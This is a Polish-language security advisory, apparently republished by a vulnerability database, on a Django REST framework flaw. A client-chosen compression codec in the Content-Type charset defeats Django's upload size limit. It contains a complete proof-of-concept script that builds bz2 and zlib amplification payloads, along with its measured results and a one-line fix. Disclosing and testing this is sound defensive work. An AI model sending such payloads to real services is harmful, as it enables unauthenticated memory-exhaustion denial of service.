Django REST framework: JSONParser stosuje kodek wskazany przez atakującego do strumienia żądania
Podsumowanie
Nieuwierzytelniony atakujący może obejść limit DATA_UPLOAD_MAX_MEMORY_SIZE w Django i zmusić proces roboczy do zaalokowania dowolnej ilości pamięci poprzez wskazanie kodeka kompresji w parametrze charset nagłówka Content-Type. Treść żądania o wielkości 108 bajtów generuje w widoku wartość o długości 50,331,648 znaków, co daje współczynnik amplifikacji rzędu 466,033 i zwiększa szczytowy RSS procesu o około 97 MiB. Poza domyślnym zestawem parserów DRF nie jest wymagana żadna dodatkowa konfiguracja aplikacji; punkt końcowy musi jedynie akceptować treść w formacie JSON.
Szczegóły
JSONParser.parse dekoduje treść żądania za pomocą zestawu znaków dostarczonego przez klienta w nagłówku Content-Type:
# rest_framework/parsers.py
encoding = parser_context.get('encoding', settings.DEFAULT_CHARSET)
try:
decoded_stream = codecs.getreader(encoding)(stream)
parse_constant = json.strict_constant if self.strict else None
return json.load(decoded_stream, parse_constant=parse_constant)
except ValueError as exc:
raise ParseError('JSON parse error - %s' % str(exc))
Spośród około 455 nazw kodeków rozpoznawanych przez codecs.lookup w CPython 3.14, około 18 to transformacje bajtowe zamiast zestawów znaków: bz2_codec, zlib_codec, base64_codec, hex_codec, quopri_codec, uu_codec i podobne. codecs.getreader jest jedynym punktem wejścia w module codecs, który nie odpytuje CodecInfo._is_text_encoding, przez co akceptuje je wszystkie. Wysłanie Content-Type: application/json; charset=bz2_codec powoduje opakowanie strumienia żądania w dekompresor bz2, zanim json.load go odczyta.
Podatność wynika z kolejności operacji. Django rozlicza DATA_UPLOAD_MAX_MEMORY_SIZE na podstawie bajtów odebranych z sieci: rest_framework/request.py przekazuje do JSONParser obiekt io.BytesIO(self.body), a HttpRequest.body jest miejscem, w którym działa _check_data_too_big(). Dekompresja następuje później, wewnątrz parsera, gdzie żaden mechanizm nie zlicza danych.
Jest to błąd DRF, a nie Django. Django przetwarza parametr charset i przypisuje request.encoding, a codecs.lookup rozpoznaje transformacje bajtowe, jednak każdy konsument request.encoding w Django korzysta z API kodeków tekstowych i kończy działanie błędem (fail-closed). Zarówno bytes.decode('bz2_codec'), jak i str(raw, 'bz2_codec') zgłaszają LookupError: 'bz2_codec' is not a text encoding; use codecs.decode() to handle arbitrary codecs. DRF jest jedynym wywołującym, który przekazuje strumień żądania do codecs.getreader.
FormParser (parsers.py:84) oraz MultiPartParser (parsers.py:104-118) przyjmują to samo kodowanie określone przez klienta, lecz kończą działanie błędem zamiast dokonywać amplifikacji.
Miejsce ujścia zostało wprowadzone przez 9a228116 (PR #5147, 2017-05-24, „Improve memory footprint when reading large JSON requests”), wydane po raz pierwszy w 3.6.4. Ostatni komentarz w tym PR zauważa, że zamierzona oszczędność pamięci nie występuje, ponieważ read() dekoduje cały strumień — ta sama właściwość sprawia, że ekspansja jest nieograniczona. Od tego czasu nie dodano żadnego sprawdzenia _is_text_encoding.
Jednolinijkowa poprawka w parsers.py:61-64:
if not codecs.lookup(encoding)._is_text_encoding:
raise ParseError('Unsupported charset in Content-Type')
PoC
Zapisz jako poc_charset_amplification.py i uruchom. Skrypt buduje własne ładunki, uruchamia każde ramię w osobnym podprocesie (szczytowy RSS to wartość maksymalna, więc pomiar kilku ramion w jednym procesie raportuje niemal zerowy wzrost dla każdego ramienia po pierwszym) i wyświetla wynik.
#!/usr/bin/env python
"""
django-rest-framework: JSONParser applies an attacker-named codec to the request
stream, defeating DATA_UPLOAD_MAX_MEMORY_SIZE.
Four arms, each in a fresh subprocess because peak RSS is a high-water mark and
measuring several arms in one process reports ~0 growth for every arm after the
first.
T ~108-byte bz2 body, Content-Type: application/json; charset=bz2_codec
C1 48 MiB plaintext, Content-Type: application/json (no charset)
C2 the byte-identical T body, charset=utf-8
C3 zlib body, charset=zlib_codec
The claim is T AND C1 AND C2. C1 proves the size limit is live; C2 proves the
codec name and not the payload is what produces the expansion.
Requires: django, djangorestframework importable. No arguments, nothing to edit.
python poc_charset_amplification.py
Exit status 0 means every arm behaved as described in the advisory.
"""
import hashlib
import json
import os
import subprocess
import sys
import tempfile
PAYLOAD_CHARS = 48 * 1024 * 1024
PAYLOAD_DIR = os.path.join(tempfile.gettempdir(), "drf-charset-amp")
LIMIT = 65536
ARMS = {
"T": ("bz2.bin", "application/json; charset=bz2_codec"),
"C1": ("plain.bin", "application/json"),
"C2": ("bz2.bin", "application/json; charset=utf-8"),
"C3": ("zlib.bin", "application/json; charset=zlib_codec"),
}
EXPECTED = {
"T": "HTTP 200, parsed value orders of magnitude larger than the wire bytes",
"C1": "rejected with RequestDataTooBig, view body never runs",
"C2": "HTTP 400 ParseError on the byte-identical compressed body",
"C3": "HTTP 200, same expansion under a different codec name",
}
VIEW_RAN = []
def build_payloads():
import bz2
import zlib
os.makedirs(PAYLOAD_DIR, exist_ok=True)
plain = b'{"a":"' + b"A" * PAYLOAD_CHARS + b'"}'
blobs = {
"plain.bin": plain,
"bz2.bin": bz2.compress(plain, 9),
"zlib.bin": zlib.compress(plain, 9),
}
for name, blob in blobs.items():
with open(os.path.join(PAYLOAD_DIR, name), "wb") as fh:
fh.write(blob)
return {name: len(blob) for name, blob in blobs.items()}
def configure_django():
from django.conf import settings
settings.configure(
DEBUG=False,
ALLOWED_HOSTS=["testserver"],
SECRET_KEY="poc",
ROOT_URLCONF=__name__,
MIDDLEWARE=[],
INSTALLED_APPS=[
"django.contrib.contenttypes",
"django.contrib.auth",
"rest_framework",
],
DATABASES={
"default": {"ENGINE": "django.db.backends.sqlite3", "NAME": ":memory:"}
},
DEFAULT_CHARSET="utf-8",
DATA_UPLOAD_MAX_MEMORY_SIZE=LIMIT,
LOGGING_CONFIG=None,
USE_TZ=True,
)
import django
django.setup()
def build_view():
from rest_framework.response import Response
from rest_framework.views import APIView
class Echo(APIView):
authentication_classes = []
permission_classes = []
def post(self, request):
data = request.data
VIEW_RAN.append(True)
value = data.get("a") if isinstance(data, dict) else None
return Response(
{"parsed_value_len": len(value) if isinstance(value, str) else None}
)
return Echo
def __getattr__(name):
# ROOT_URLCONF points at this module; build urlpatterns lazily.
if name == "urlpatterns":
from django.urls import path
value = [path("x", build_view().as_view())]
globals()["urlpatterns"] = value
return value
raise AttributeError(name)
def peak_rss_kib():
"""Peak resident size of this process. /proc is used where available because
ru_maxrss does not track the calling process on every kernel."""
try:
with open("/proc/self/status") as fh:
for line in fh:
if line.startswith("VmHWM:"):
return int(line.split(":")[1].strip().split()[0])
except OSError:
pass
import resource
return resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
def run_arm(arm):
payload_name, content_type = ARMS[arm]
with open(os.path.join(PAYLOAD_DIR, payload_name), "rb") as fh:
body = fh.read()
configure_django()
from django.test import Client, RequestFactory
client = Client(raise_request_exception=False)
# Warm every lazily imported module so the delta measures the request only.
client.generic("POST", "/x", data=b'{"a":"A"}', content_type="application/json")
VIEW_RAN.clear()
before = peak_rss_kib()
response = client.generic("POST", "/x", data=body, content_type=content_type)
after = peak_rss_kib()
parsed_len = None
if response.status_code == 200:
try:
parsed_len = json.loads(response.content).get("parsed_value_len")
except ValueError:
pass
# Second reading via a bare RequestFactory so the exception class is visible
# directly instead of inferred from a status code.
request = RequestFactory().generic(
"POST", "/x", data=body, content_type=content_type
)
try:
direct = {"status_code": build_view().as_view()(request).status_code}
except BaseException as exc: # noqa: BLE001 - naming the class is the point
direct = {"exception": f"{type(exc).__module__}.{type(exc).__name__}"}
return {
"arm": arm,
"content_type": content_type,
"transmitted_bytes": len(body),
"body_sha256": hashlib.sha256(body).hexdigest(),
"status_code": response.status_code,
"view_body_executed": bool(VIEW_RAN),
"parsed_value_len": parsed_len,
"amplification_ratio": round(parsed_len / len(body), 1) if parsed_len else None,
"peak_rss_delta_mib": round((after - before) / 1024.0, 1),
"direct_dispatch": direct,
}
def check(arm, r):
if arm in ("T", "C3"):
return (
r["status_code"] == 200
and r["view_body_executed"]
and r["parsed_value_len"] == PAYLOAD_CHARS
and r["amplification_ratio"] >= 700
)
if arm == "C1":
return (
r["status_code"] != 200
and not r["view_body_executed"]
and r["direct_dispatch"].get("exception")
== "django.core.exceptions.RequestDataTooBig"
)
if arm == "C2":
return r["status_code"] == 400 and not r["view_body_executed"]
raise AssertionError(arm)
def main():
if "--arm" in sys.argv:
print(json.dumps(run_arm(sys.argv[sys.argv.index("--arm") + 1])))
return 0
sizes = build_payloads()
print(f"# payload sizes: {sizes}")
print(f"# DATA_UPLOAD_MAX_MEMORY_SIZE = {LIMIT}")
print(f"# JSON string value under test: {PAYLOAD_CHARS} characters\n")
ok = True
results = {}
for arm in ("T", "C1", "C2", "C3"):
proc = subprocess.run(
[sys.executable, os.path.abspath(__file__), "--arm", arm],
capture_output=True,
text=True,
)
if proc.returncode != 0:
print(f"{arm}: harness failed\n{proc.stderr}")
return 2
r = json.loads(proc.stdout.strip().splitlines()[-1])
results[arm] = r
passed = check(arm, r)
ok = ok and passed
print(f"=== {arm} [{'as described' if passed else 'NOT as described'}]")
print(f" expected: {EXPECTED[arm]}")
print(json.dumps(r, indent=6))
print()
print("=== summary")
for arm, r in results.items():
print(
f" {arm:3} wire={r['transmitted_bytes']:>9}B status={r['status_code']} "
f"parsed_len={r['parsed_value_len']} ratio={r['amplification_ratio']} "
f"peak_rss_delta={r['peak_rss_delta_mib']} MiB view_ran={r['view_body_executed']}"
)
print(f"\n T and C1 and C2: {'all held' if ok else 'NOT all held'}")
return 0 if ok else 1
if __name__ == "__main__":
sys.exit(main())
Zaobserwowany wynik skrócony do bloku podsumowania:
# payload sizes: {'plain.bin': 50331656, 'bz2.bin': 108, 'zlib.bin': 48941}
# DATA_UPLOAD_MAX_MEMORY_SIZE = 65536
# JSON string value under test: 50331648 characters
=== summary
T wire= 108B status=200 parsed_len=50331648 ratio=466033.8 peak_rss_delta=96.8 MiB view_ran=True
C1 wire= 50331656B status=400 parsed_len=None ratio=None peak_rss_delta=48.3 MiB view_ran=False
C2 wire= 108B status=400 parsed_len=None ratio=None peak_rss_delta=0.0 MiB view_ran=False
C3 wire= 48941B status=200 parsed_len=50331648 ratio=1028.4 peak_rss_delta=95.2 MiB view_ran=True
T and C1 and C2: all held
C1 potwierdza, że limit rozmiaru działa i jest skonfigurowany, zatem 200 w T stanowi obejście zabezpieczenia, a nie jego brak. C1 raportuje własny wzrost RSS, ponieważ klient przechowuje ładunek o wielkości 48 MiB przed odrzuceniem go przez limit — jest to koszt po stronie klienta, który nigdy nie trafia do widoku. C2 niesie główny ciężar: jego treść jest identyczna pod względem bajtów z T, różni się jedynie nazwa kodeka. Wartości RSS różnią się o kilka MiB pomiędzy uruchomieniami.
Powtórzenie wszystkich czterech ramion na Django 5.2.17 LTS dało 109 bajtów z sieci na 50,331,648 znaków, 461,758x, przy czym zarówno C1, jak i C2 zachowały swoje limity.
Uwaga w przypadku samodzielnej implementacji żądania: użyj Client.generic() lub RequestFactory().generic(). Zarówno Client.post(), jak i RequestFactory.post() przepychają treść przez force_bytes(data, encoding=<charset>) (django/test/client.py:438-447), co niszczy skompresowany ładunek zanim parser zdoła go przetworzyć.
Wpływ
Nieuwierzytelniona odmowa usługi poprzez amplifikację pamięci przeciwko dowolnemu punktowi końcowemu akceptującemu treść JSON z domyślnym zestawem parserów. Podatne jest każde wdrożenie na wersji 3.6.4 lub nowszej i żaden kod aplikacji ani wybór konfiguracji nie jest potrzebny, aby podatność występowała. Pamięć jest alokowana na czas żądania i zwalniana po jego zakończeniu, dlatego luka jest oceniana wyłącznie pod kątem dostępności, a nie jako krytyczna. Jednak współczynnik amplifikacji sprawia, że niewielka liczba równoległych żądań może wyczerpać zasoby procesu roboczego. Kilkaset bajtów alokuje setki megabajtów, a żaden mechanizm w DRF ani w Django nie ogranicza rozmiaru po rozpakowaniu.
Co trzeba zrobić
Zaktualizuj pakiet do wersji 3.18.2 lub nowszej. Alternatywnie zastosuj jednolinijkową poprawkę w parsers.py:61-64:
if not codecs.lookup(encoding)._is_text_encoding:
raise ParseError('Unsupported charset in Content-Type')
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | djangorestframework | >= 3.6.4, < 3.18.2 | 3.18.2 |
Odnośniki
- https://github.com/encode/django-rest-framework/security/advisories/GHSA-3547-9m27-7rxg
- https://nvd.nist.gov/vuln/detail/CVE-2026-114136
- https://github.com/encode/django-rest-framework/commit/3c2634599b26a9f789b03045118dbc276117611a
- https://github.com/encode/django-rest-framework
- https://github.com/encode/django-rest-framework/releases/tag/3.18.2
- Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Słabość (CWE)
CWE-409, CWE-770- Platforma
- Python (PyPI)
- Paczka
djangorestframework- Ujawniono
- 22.10.2026
- Aktualizacja
- 25.10.2026 10:00
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-3547-9m27-7rxg - CC BY 4.0
Historia podatności: djangorestframework
Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 6
- Pierwsza → ostatnia
- 09.2020 10.2026
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Wysoka 2
- Średnia 3
- Niska 1
Ujawnienia w latach
- 2020: 1
- 2021: 0
- 2022: 0
- 2023: 0
- 2024: 1
- 2025: 0
- 2026: 4
-
Django REST framework: JSONParser stosuje kodek wskazany przez atakującego do strumienia żądania ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.